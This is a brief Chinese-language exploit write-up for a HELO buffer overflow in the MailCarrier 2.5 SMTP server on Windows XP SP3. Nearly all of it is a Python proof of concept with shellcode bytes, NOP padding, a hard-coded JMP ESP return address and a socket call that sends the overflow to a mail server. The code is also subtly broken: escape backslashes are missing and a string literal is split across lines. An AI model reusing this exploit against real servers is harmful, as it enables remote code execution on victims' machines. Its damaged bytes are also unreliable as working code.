mailcarrier25 EMAIL程序 典型覆盖返回地址XPSP3

软件名称：  mailcarrier25

环境：  XP SP3  正常情况下

发现一般都会有检测字符串，要构造攻击还是有点难度的····

E-MAIL 程序， 无验证登陆 发送消息

熟悉  SMTP 协议指令

python poc:

import struct
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
shellcode =(
'x31xD2xB2x30x64x8Bx12x8Bx52x0Cx8Bx52x1Cx8Bx42x08x8Bx72x20x8B'
'x12x80x7Ex0Cx33x75xF2x89xC7x03x78x3Cx8Bx57x78x01xC2x8Bx7Ax20'
'x01xC7x31xEDx8Bx34xAFx01xC6x45x81x3Ex46x61x74x61x75xF2x81x7E'
'x08x45x78x69x74x75xE9x8Bx7Ax24x01xC7x66x8Bx2Cx6Fx8Bx7Ax1Cx01'
'xC7x8Bx7CxAFxFCx01xC7x68x64x61x40x01x68x40x70x61x6Ex89xE1xFE'
'x49x07x31xC0x51x50xFFxD7')#108 bytes

buffer =   shellcode +'x90'*(5094-108)+ ('xb3x9axd0x7d')+('xe9x11xecxffxffx90')
#must have ()
#Found  JMP ESP at 0x7dd09ab3     Module:  C:WINDOWSsystem32SHELL32.dll

try:
	s.connect(('10.10.10.130',25))
	s.send('HELO ' + buffer + '
')
	h = s.recv(1024)
	print h
	s.close()
except:
	print 'could not connect to SMTP!'